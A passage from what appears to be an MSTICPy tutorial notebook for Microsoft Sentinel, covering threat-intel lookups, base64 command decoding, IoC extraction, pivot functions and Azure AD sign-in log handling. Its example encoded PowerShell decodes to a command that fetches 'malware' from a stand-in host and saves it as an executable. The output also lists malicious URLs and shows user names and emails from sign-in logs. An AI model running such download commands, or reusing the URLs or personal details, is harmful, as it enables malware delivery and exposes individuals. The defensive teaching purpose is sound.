'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2020-03-22T07:54:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2020-06-06T06:52:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2020-07-11T06:52:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2020-07-11T06:53:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1}],
'ip': '40.76.220.11',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) location mapping '
'of the IP.',
'score': 1,
'subnets': [{'asns': {'8075': {'cidr': 10, 'removed': True}},
'categoryDescriptions': {},
'cats': {},
'created': '2020-07-11T06:53:00.000Z',
'ip': '40.64.0.0',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'reason_removed': True,
'score': 1,
'subnet': '40.64.0.0/10'},
{'asns': {'8075': {'Company': 'MICROSOFT-CORP-MSN-AS-BLOCK, US',
'cidr': 14}},
'categoryDescriptions': {},
'cats': {},
'created': '2020-07-11T06:52:00.000Z',
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1,
'subnet': '40.76.0.0/14'}],
'tags': []}
MSTICPy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the documentation.
With the data we have collected we may wish to perform some analysis on it in order to better understand it.
MSTICPy includes a number of features to help with this, and there are a vast array of other data analysis capabilities available via Python ranging from simple processes to complex ML models.
We will start simply and look at how we can decode some obfuscated command lines, so that we understand their content.
from msticpy.sectools import base64unpack as b64
# Take our encoded Powershell Command
b64_cmd = "powershell.exe -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jb250b3NvLmNvbS9tYWx3YXJlIC1PdXRGaWxlIEM6XG1hbHdhcmUuZXhl"
# Unpack the Base64 encoded elements
unpack_txt = b64.unpack(input_string=b64_cmd)
# Display our results and transform for easier reading
unpack_txt[1].T
0 | |
---|---|
reference | (, 1., 1) |
original_string | SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jb250b3NvLmNvbS9tYWx3YXJlIC1PdXRGaWxlIEM6XG1hbHdhcmUuZXhl |
file_name | unknown |
file_type | None |
input_bytes | b'Invoke-WebRequest https://contoso.com/malware -OutFile C:\\malware.exe' |
decoded_string | Invoke-WebRequest https://contoso.com/malware -OutFile C:\malware.exe |
encoding_type | utf-8 |
file_hashes | {'md5': '5845a06d7f52b1818a088e889df95c77', 'sha1': '1c31052c4aabb853777c1ce74943cafe27bb1d42', ... |
md5 | 5845a06d7f52b1818a088e889df95c77 |
sha1 | 1c31052c4aabb853777c1ce74943cafe27bb1d42 |
sha256 | 7054dcebb2f74492c06f4ba89cac8e7e99b44e1a6029e0ad403aab9bb7503d8c |
printable_bytes | 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 6f 73 ... |
We can also use MSTICpy to extract Indicators of Compromise (IoCs) from a dataset.
The IoCExtract class makes it easy to extract and match on a set of IoCs within our data.
In the example below we take a US Cybersecurity & Infrastructure Security Agency (CISA) report and extract all domains listed in the report.
import requests
# Set up our IoCExtract oject
ioc_extractor = IoCExtract()
# Download our threat report
data = requests.get("https://www.us-cert.gov/sites/default/files/publications/AA20-099A_WHITE.stix.xml")
# Extract URLs listed in our report
iocs = ioc_extractor.extract(data.text, ioc_types="url")['url']
# Display the first 5 iocs found in our report
list(iocs)[:5]
['http://stix.mitre.org/stix-1', 'http://www.us-cert.gov/sites/default/files/STIX_Namespace/ciscp_vocab_v1.1.1.xsd', 'http://cybox.mitre.org/objects#AddressObject-2', 'http://216.170.123.111/filenew.exe', 'http://data-marking.mitre.org/Marking-1']
There are a wide range of options when it comes to data analysis in notebooks using Python. Here are some useful resources to get you started:
Pivot functions use the concept of Cyber Entities to group MSTICPy functionality logically.
An entity is something like an Account, IP Address or Host, and has one or more identifying properties.
Pivot functions are methods of Entities that provide quick access to:
Pivot functions are dynamically attached to entities - so we need to load the Pivot library to initialize this
import warnings
from msticpy.datamodel.entities import *
with warnings.catch_warnings():
warnings.simplefilter("ignore")
pivot = Pivot(namespace=globals())
Use the pivot browser to see what functions are available for different entities.
The Help drop-down panels show you more detail about the selected function.
pivot.browse()
VBox(children=(HBox(children=(VBox(children=(HTML(value='<b>Entities</b>'), Select(description='entity', layou…
You can pass a single value to a pivot function.
The result is returned as a pandas DataFrame.
Here are five examples with the output shown below.
from IPython.display import HTML
display(HTML("Dns resolution<br>"))
display(Dns.dns_resolve("www.microsoft.com"))
display(HTML("<br>Dns components<br>"))
display(Dns.util.dns_components("www.microsoft.com"))
display(HTML("<br>IP address type<br>"))
display(IpAddress.ip_type("24.16.133.227"))
display(HTML("<br>IP address ownership<br>"))
display(IpAddress.whois("24.16.133.227"))
display(HTML("<br>IP address location<br>"))
display(IpAddress.geoloc("24.16.133.227"))
'Dns resolution'
qname | rdtype | rdclass | response | nameserver | port | canonical_name | rrset | expiration | url_domain | src_row_index | |
---|---|---|---|---|---|---|---|---|---|---|---|
0 | www.microsoft.com. | 1 | 1 | id 32410\nopcode QUERY\nrcode NOERROR\nflags QR RD RA\n;QUESTION\nwww.microsoft.com. IN A\n;ANSW... | None | None | e13678.dscb.akamaiedge.net. | [23.218.110.52] | 2021-06-28 21:58:32.828779 | www.microsoft.com | 0 |
'Dns components'
subdomain | domain | suffix | src_row_index | |
---|---|---|---|---|
0 | www | www.microsoft.com | com | 0 |
'IP address type'
ip | result | src_row_index | |
---|---|---|---|
0 | 24.16.133.227 | Public | 0 |
'IP address ownership'
asn | asn_cidr | asn_country_code | asn_date | asn_description | asn_registry | nets | nir | query | raw | raw_referral | referral | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 7922 | 24.16.0.0/13 | US | 2003-10-06 | COMCAST-7922, US | arin | [{'cidr': '24.0.0.0/12, 24.16.0.0/13', 'name': 'EASTERNSHORE-1', 'handle': 'NET-24-0-0-0-1', 'ra... | None | 24.16.133.227 | None | None | None |
'IP address location'
CountryCode | CountryName | State | City | Longitude | Latitude | Asn | edges | Type | AdditionalData | IpAddress | |
---|---|---|---|---|---|---|---|---|---|---|---|
0 | US | United States | Washington | Bellevue | -122.2053 | 47.6131 | None | {} | geolocation | {} | 24.16.133.227 |
You can also pass a DataFrame as a parameter. You also need to provide the column name that contains the data that you want to process.
logons_subset = logons_df.drop_duplicates("IPAddress").head()
IpAddress.whois(logons_subset, column="IPAddress")
nir | asn_registry | asn | asn_cidr | asn_country_code | asn_date | asn_description | query | nets | raw | referral | raw_referral | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | None | arin | 8075 | 40.76.0.0/14 | US | 2015-02-23 | MICROSOFT-CORP-MSN-AS-BLOCK, US | 40.76.220.11 | [{'cidr': '40.80.0.0/12, 40.120.0.0/14, 40.76.0.0/14, 40.112.0.0/13, 40.74.0.0/15, 40.124.0.0/16... | None | None | None |
2 | None | ripencc | 3216 | 81.211.96.0/19 | RU | 2002-11-04 | SOVAM-AS, RU | 81.211.111.100 | [{'cidr': '81.211.111.96/27', 'name': 'SOVINTEL-GlobusAvia', 'handle': 'BN891-RIPE', 'range': '8... | None | None | None |
3 | None | ripencc | 12400 | 87.71.160.0/19 | IL | 2005-06-30 | PARTNER-AS, IL | 87.71.180.127 | [{'cidr': '87.71.176.0/21', 'name': 'DHCP-121-OD', 'handle': 'DR5299-RIPE', 'range': '87.71.176.... | None | None | None |
5 | None | ripencc | 15557 | 89.156.0.0/14 | FR | 2006-04-11 | LDCOMNET, FR | 89.159.53.43 | [{'cidr': '89.156.0.0/14', 'name': 'FR-SFR-20050726', 'handle': 'LD699-RIPE', 'range': '89.156.0... | None | None | None |
6 | None | ripencc | 12849 | 5.29.48.0/21 | IL | 2012-05-08 | HOTNET-IL AMS-IX Admin LAN, IL | 5.29.52.252 | [{'cidr': '5.29.48.0/21', 'name': 'HOTNET-4', 'handle': 'AL8020-RIPE', 'range': '5.29.48.0 - 5.2... | None | None | None |
When using a DataFrame as input, you can also join the output data to the input data.
IpAddress.whois(logons_subset[["IPAddress", "AppDisplayName", "TimeGenerated"]], column="IPAddress", join="left")
IPAddress | AppDisplayName | TimeGenerated | nir | asn_registry | asn | asn_cidr | asn_country_code | asn_date | asn_description | query | nets | raw | referral | raw_referral | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 40.76.220.11 | Microsoft Azure Active Directory Connect | 2021-06-28 10:55:21.648000+00:00 | None | arin | 8075 | 40.76.0.0/14 | US | 2015-02-23 | MICROSOFT-CORP-MSN-AS-BLOCK, US | 40.76.220.11 | [{'cidr': '40.80.0.0/12, 40.120.0.0/14, 40.76.0.0/14, 40.112.0.0/13, 40.74.0.0/15, 40.124.0.0/16... | None | None | None |
1 | 81.211.111.100 | Azure Portal | 2021-06-28 11:36:15.896000+00:00 | None | ripencc | 3216 | 81.211.96.0/19 | RU | 2002-11-04 | SOVAM-AS, RU | 81.211.111.100 | [{'cidr': '81.211.111.96/27', 'name': 'SOVINTEL-GlobusAvia', 'handle': 'BN891-RIPE', 'range': '8... | None | None | None |
2 | 87.71.180.127 | Azure Portal | 2021-06-28 12:24:50.274000+00:00 | None | ripencc | 12400 | 87.71.160.0/19 | IL | 2005-06-30 | PARTNER-AS, IL | 87.71.180.127 | [{'cidr': '87.71.176.0/21', 'name': 'DHCP-121-OD', 'handle': 'DR5299-RIPE', 'range': '87.71.176.... | None | None | None |
3 | 89.159.53.43 | Azure Portal | 2021-06-28 12:24:40.501000+00:00 | None | ripencc | 15557 | 89.156.0.0/14 | FR | 2006-04-11 | LDCOMNET, FR | 89.159.53.43 | [{'cidr': '89.156.0.0/14', 'name': 'FR-SFR-20050726', 'handle': 'LD699-RIPE', 'range': '89.156.0... | None | None | None |
4 | 5.29.52.252 | Azure Advanced Threat Protection | 2021-06-28 12:36:12.329000+00:00 | None | ripencc | 12849 | 5.29.48.0/21 | IL | 2012-05-08 | HOTNET-IL AMS-IX Admin LAN, IL | 5.29.52.252 | [{'cidr': '5.29.48.0/21', 'name': 'HOTNET-4', 'handle': 'AL8020-RIPE', 'range': '5.29.48.0 - 5.2... | None | None | None |
And because pivot functions always return DataFrames, you can easily use the output as input to MSTICPy functions.
The first example shows sending the results from the WhoIs pivot function to a timeline plot.
IpAddress.whois(
logons_subset[["IPAddress", "AppDisplayName", "TimeGenerated"]],
column="IPAddress",
join="left"
).mp_timeline.plot(group_by="asn_description")
The second example shows using the tilookup_url Url pivot function to check
Threat intelligence reports for a URL and using the output as input to the TIBrowser
TILookup.browse_results(Url.tilookup_url("http://85.214.149.236:443/sugarcrm/themes/default/images/"))
VBox(children=(Text(value='', description='Filter:', style=DescriptionStyle(description_width='initial')), Sel…
VirusTotal | |
verbose_msg | Scan finished, scan information embedded in this object |
response_code | 1 |
positives | 8 |
resource | http://85.214.149.236:443/sugarcrm/themes/default/images/ |
permalink | https://www.virustotal.com/gui/url/5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55/detection/u-5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55-1624240252 |
{'filescan_id': None,
'permalink': 'https://www.virustotal.com/gui/url/5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55/detection/u-5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55-1624240252',
'positives': 8,
'resource': 'http://85.214.149.236:443/sugarcrm/themes/default/images/',
'response_code': 1,
'scan_date': '2021-06-21 01:50:52',
'scan_id': '5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55-1624240252',
'scans': {'ADMINUSLabs': {'detected': False, 'result': 'clean site'},
'AICC (MONITORAPP)': {'detected': False, 'result': 'clean site'},
'AegisLab WebGuard': {'detected': False, 'result': 'clean site'},
'AlienVault': {'detected': False, 'result': 'clean site'},
'Antiy-AVL': {'detected': False, 'result': 'clean site'},
'Armis': {'detected': False, 'result': 'clean site'},
'Artists Against 419': {'detected': False, 'result': 'clean site'},
'AutoShun': {'detected': False, 'result': 'unrated site'},
'Avira': {'detected': False, 'result': 'clean site'},
'BADWARE.INFO': {'detected': False, 'result': 'clean site'},
'Baidu-International': {'detected': False, 'result': 'clean site'},
'Bfore.Ai PreCrime': {'detected': False, 'result': 'clean site'},
'BitDefender': {'detected': False, 'result': 'clean site'},
'BlockList': {'detected': False, 'result': 'clean site'},
'Blueliv': {'detected': False, 'result': 'clean site'},
'CINS Army': {'detected': False, 'result': 'clean site'},
'CLEAN MX': {'detected': False, 'result': 'clean site'},
'CMC Threat Intelligence': {'detected': False,
'result': 'clean site'},
'CRDF': {'detected': False, 'result': 'clean site'},
'Certego': {'detected': False, 'result': 'clean site'},
'Cisco Talos IP Blacklist': {'detected': False,
'result': 'clean site'},
'Comodo Valkyrie Verdict': {'detected': False,
'result': 'clean site'},
'CyRadar': {'detected': True, 'result': 'malicious site'},
'Cyan': {'detected': False, 'result': 'unrated site'},
'CyberCrime': {'detected': False, 'result': 'clean site'},
'Cyren': {'detected': False, 'result': 'clean site'},
'DNS8': {'detected': False, 'result': 'clean site'},
'Dr.Web': {'detected': False, 'result': 'clean site'},
'ESET': {'detected': True, 'result': 'malware site'},
'ESTsecurity-Threat Inside': {'detected': True,
'result': 'malicious site'},
'EmergingThreats': {'detected': False, 'result': 'clean site'},
'Emsisoft': {'detected': False, 'result': 'clean site'},
'EonScope': {'detected': False, 'result': 'clean site'},
'Feodo Tracker': {'detected': False, 'result': 'clean site'},
'Forcepoint ThreatSeeker': {'detected': False,
'result': 'suspicious site'},
'Fortinet': {'detected': True, 'result': 'malware site'},
'FraudScore': {'detected': False, 'result': 'clean site'},
'G-Data': {'detected': False, 'result': 'clean site'},
'Google Safebrowsing': {'detected': False, 'result': 'clean site'},
'GreenSnow': {'detected': False, 'result': 'clean site'},
'Hoplite Industries': {'detected': False, 'result': 'clean site'},
'IPsum': {'detected': False, 'result': 'clean site'},
'K7AntiVirus': {'detected': False, 'result': 'clean site'},
'Kaspersky': {'detected': False, 'result': 'unrated site'},
'Lumu': {'detected': False, 'result': 'unrated site'},
'MalBeacon': {'detected': False, 'result': 'clean site'},
'MalSilo': {'detected': False, 'result': 'clean site'},
'MalwareDomainList': {'detail': 'http://www.malwaredomainlist.com/mdl.php?search=85.214.149.236',
'detected': False,
'result': 'clean site'},
'MalwarePatrol': {'detected': False, 'result': 'clean site'},
'Malwared': {'detected': False, 'result': 'clean site'},
'Netcraft': {'detected': True, 'result': 'malicious site'},
'NotMining': {'detected': False, 'result': 'unrated site'},
'Nucleon': {'detected': False, 'result': 'clean site'},
'OpenPhish': {'detected': False, 'result': 'clean site'},
'PREBYTES': {'detected': False, 'result': 'clean site'},
'PhishLabs': {'detected': False, 'result': 'unrated site'},
'Phishing Database': {'detected': False, 'result': 'clean site'},
'Phishtank': {'detected': False, 'result': 'clean site'},
'Quick Heal': {'detected': False, 'result': 'clean site'},
'Quttera': {'detected': False, 'result': 'clean site'},
'Rising': {'detected': False, 'result': 'clean site'},
'SCUMWARE.org': {'detected': False, 'result': 'clean site'},
'SafeToOpen': {'detected': False, 'result': 'unrated site'},
'Sangfor': {'detected': False, 'result': 'clean site'},
'Scantitan': {'detected': False, 'result': 'clean site'},
'SecureBrain': {'detected': False, 'result': 'clean site'},
'Sophos': {'detected': True, 'result': 'malware site'},
'Spam404': {'detected': False, 'result': 'clean site'},
'Spamhaus': {'detected': False, 'result': 'clean site'},
'StopBadware': {'detected': False, 'result': 'unrated site'},
'StopForumSpam': {'detected': False, 'result': 'clean site'},
'Sucuri SiteCheck': {'detected': False, 'result': 'clean site'},
'Tencent': {'detected': False, 'result': 'clean site'},
'ThreatHive': {'detected': False, 'result': 'clean site'},
'Threatsourcing': {'detected': False, 'result': 'clean site'},
'Trustwave': {'detected': False, 'result': 'clean site'},
'URLhaus': {'detected': False, 'result': 'clean site'},
'VX Vault': {'detected': False, 'result': 'clean site'},
'Virusdie External Site Scan': {'detected': False,
'result': 'clean site'},
'Web Security Guard': {'detected': False, 'result': 'clean site'},
'Webroot': {'detected': True, 'result': 'malicious site'},
'Yandex Safebrowsing': {'detail': 'http://yandex.com/infected?l10n=en&url=http://85.214.149.236:443/sugarcrm/themes/default/images/',
'detected': False,
'result': 'clean site'},
'ZeroCERT': {'detected': False, 'result': 'clean site'},
'alphaMountain.ai': {'detected': True, 'result': 'malicious site'},
'benkow.cc': {'detected': False, 'result': 'clean site'},
'desenmascara.me': {'detected': False, 'result': 'clean site'},
'malwares.com URL checker': {'detected': False,
'result': 'clean site'},
'securolytics': {'detected': False, 'result': 'clean site'},
'zvelo': {'detected': False, 'result': 'clean site'}},
'total': 89,
'url': 'http://85.214.149.236:443/sugarcrm/themes/default/images/',
'verbose_msg': 'Scan finished, scan information embedded in this object'}
This notebook has shown some basic components of MSTICPy and how to use them in notebooks for Microsoft Sentinel for security investigaitons.
There are many more things possible using notebooks. We strongly encourage you to read the material referenced in the "Learn More" sections in this notebook.
You can also explore the other Microsoft Sentinel notebooks in order to take advantage of the pre-built hunting logic, and understand other analysis techniques that are possible.
If you are working with data in the notebook a lot you will want to learn about pandas. Our query results are returned in the form of a Pandas DataFrame: they are a pivotal to Microsoft Sentinel notebooks and MSTICPy and are used for both input and output formats.
Pandas DataFrames are incredibly versatile data structures with a lot of useful features. You might think of them as programmable Excel worksheets.
We will cover a small number of them here and we recommend that you check out the Learn more section to learn more about Pandas features.
The first thing we want to do is display our DataFrame. If the DataFrame is the last item in a code cell, you can just run the cell to display the data.
You can the Jupyter display function - display(df)
to explicitly display it - this is especially
useful if you want to display a DataFrame from the middle of a code block in a cell.
# For this section we are going to create a DataFrame from data saved in a csv file
data = logons_df
# Display our DataFrame - using head to limit to first 3 rows
display(data.head(3))
TenantId | SourceSystem | TimeGenerated | ResourceId | OperationName | OperationVersion | Category | ResultType | ResultSignature | ResultDescription | DurationMs | CorrelationId | Resource | ResourceGroup | ResourceProvider | Identity | Level | Location | AlternateSignInName | AppDisplayName | AppId | AuthenticationDetails | AuthenticationMethodsUsed | AuthenticationProcessingDetails | AuthenticationRequirement | ... | RiskLevelDuringSignIn | RiskState | ResourceDisplayName | ResourceIdentity | ServicePrincipalId | ServicePrincipalName | Status | TokenIssuerName | TokenIssuerType | UserAgent | UserDisplayName | UserId | UserPrincipalName | AADTenantId | UserType | FlaggedForReview | IPAddressFromResourceProvider | SignInIdentifier | SignInIdentifierType | ResourceTenantId | HomeTenantId | Type | Result | Latitude | Longitude | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 10:55:21.648000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 9558f30b-a1db-4676-a586-7db608bdaa69 | Microsoft.aadiam | Microsoft.aadiam | On-Premises Directory Synchronization Service Account | 4 | US | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | Microsoft Azure Active Directory Connect | cb1056e2-e479-49de-ae31-7812af012ed8 | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T10:55:21.6485011+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Active Directory | 00000002-0000-0000-c000-000000000000 | {'errorCode': 0} | AzureAD | On-Premises Directory Synchronization Service Account | 2235a468-ad9c-4375-8008-0a7be76994a7 | sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Member | None | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | SigninLogs | Sucess | 38.73078155517578 | -78.17196655273438 | |||||||||
1 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 10:55:26.252000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | dac1edbe-1985-4f78-8d20-f4725e28b865 | Microsoft.aadiam | Microsoft.aadiam | On-Premises Directory Synchronization Service Account | 4 | US | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | Microsoft Azure Active Directory Connect | cb1056e2-e479-49de-ae31-7812af012ed8 | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T10:55:26.2522747+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Active Directory | 00000002-0000-0000-c000-000000000000 | {'errorCode': 0} | AzureAD | On-Premises Directory Synchronization Service Account | 2235a468-ad9c-4375-8008-0a7be76994a7 | sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Member | None | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | SigninLogs | Sucess | 38.7130012512207 | -78.15899658203125 | |||||||||
2 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 11:36:15.896000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f | Microsoft.aadiam | Microsoft.aadiam | Arseny Vasilev | 4 | RU | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T11:36:15.8961297+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Arseny Vasilev | 9267d02c-5f76-40a9-a9eb-b686f3ca47aa | avasilev@viacode.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 5fccd68a-e65e-46ae-96b1-2d896d680249 | SigninLogs | Sucess | 59.93904113769531 | 30.3157901763916 |
3 rows 69 columns
You may not want to display the whole DataFrame and instead display only a subset of items.
There are numerous ways to do this and the cell below shows some of the most widely used functions.
md("Data size:", "bold")
md(f"DateFrame shape is {data.shape[0]} rows x {data.shape[1]} columns")
Data size:
DateFrame shape is 2136 rows x 69 columns
md("Display the first 2 rows using head(): ", "bold")
display(data.head(2))
Display the first 2 rows using head():
TenantId | SourceSystem | TimeGenerated | ResourceId | OperationName | OperationVersion | Category | ResultType | ResultSignature | ResultDescription | DurationMs | CorrelationId | Resource | ResourceGroup | ResourceProvider | Identity | Level | Location | AlternateSignInName | AppDisplayName | AppId | AuthenticationDetails | AuthenticationMethodsUsed | AuthenticationProcessingDetails | AuthenticationRequirement | ... | RiskLevelDuringSignIn | RiskState | ResourceDisplayName | ResourceIdentity | ServicePrincipalId | ServicePrincipalName | Status | TokenIssuerName | TokenIssuerType | UserAgent | UserDisplayName | UserId | UserPrincipalName | AADTenantId | UserType | FlaggedForReview | IPAddressFromResourceProvider | SignInIdentifier | SignInIdentifierType | ResourceTenantId | HomeTenantId | Type | Result | Latitude | Longitude | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 10:55:21.648000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 9558f30b-a1db-4676-a586-7db608bdaa69 | Microsoft.aadiam | Microsoft.aadiam | On-Premises Directory Synchronization Service Account | 4 | US | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | Microsoft Azure Active Directory Connect | cb1056e2-e479-49de-ae31-7812af012ed8 | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T10:55:21.6485011+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Active Directory | 00000002-0000-0000-c000-000000000000 | {'errorCode': 0} | AzureAD | On-Premises Directory Synchronization Service Account | 2235a468-ad9c-4375-8008-0a7be76994a7 | sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Member | None | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | SigninLogs | Sucess | 38.73078155517578 | -78.17196655273438 | |||||||||
1 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 10:55:26.252000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | dac1edbe-1985-4f78-8d20-f4725e28b865 | Microsoft.aadiam | Microsoft.aadiam | On-Premises Directory Synchronization Service Account | 4 | US | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | Microsoft Azure Active Directory Connect | cb1056e2-e479-49de-ae31-7812af012ed8 | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T10:55:26.2522747+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Active Directory | 00000002-0000-0000-c000-000000000000 | {'errorCode': 0} | AzureAD | On-Premises Directory Synchronization Service Account | 2235a468-ad9c-4375-8008-0a7be76994a7 | sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Member | None | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | SigninLogs | Sucess | 38.7130012512207 | -78.15899658203125 |
2 rows 69 columns
md("Display the 3rd row using iloc[]: ", "bold")
display(data.iloc[3])
Display the 3rd row using iloc[]:
TenantId 8ecf8077-cf51-4820-aadd-14040956f35d SourceSystem Azure AD TimeGenerated 2021-06-28 12:24:50.274000+00:00 ResourceId /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam OperationName Sign-in activity OperationVersion 1.0 Category SignInLogs ResultType 0 ResultSignature None ResultDescription DurationMs 0 CorrelationId d1c11047-9e6d-4814-80fc-334c453582a3 Resource Microsoft.aadiam ResourceGroup Microsoft.aadiam ResourceProvider Identity Koby Koren Level 4 Location IL AlternateSignInName AppDisplayName Azure Portal AppId c44b4083-3bb0-49c1-b47d-974e53cbdf3c AuthenticationDetails [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:24:50.2743176+00:00",\r\n "authe... AuthenticationMethodsUsed AuthenticationProcessingDetails [\r\n {\r\n "key": "Login Hint Present",\r\n "value": "True"\r\n },\r\n {\r\n "key":... AuthenticationRequirement singleFactorAuthentication AuthenticationRequirementPolicies [] ClientAppUsed Browser ConditionalAccessPolicies [{'id': '8872f6fb-da88-4b63-bcc7-17247669596b', 'displayName': 'MeganB MCAS Proxy', 'enforcedGra... ConditionalAccessStatus notApplied CreatedDateTime 2021-06-28 12:24:50.274000+00:00 DeviceDetail {'deviceId': '{PII Removed}', 'displayName': '{PII Removed}', 'operatingSystem': 'Windows 10', '... IsInteractive True Id 8c899d5c-3e15-4683-85a8-443d4a6f0d01 IPAddress 87.71.180.127 IsRisky None LocationDetails {'city': 'Herzliya', 'state': 'Tel Aviv', 'countryOrRegion': 'IL', 'geoCoordinates': 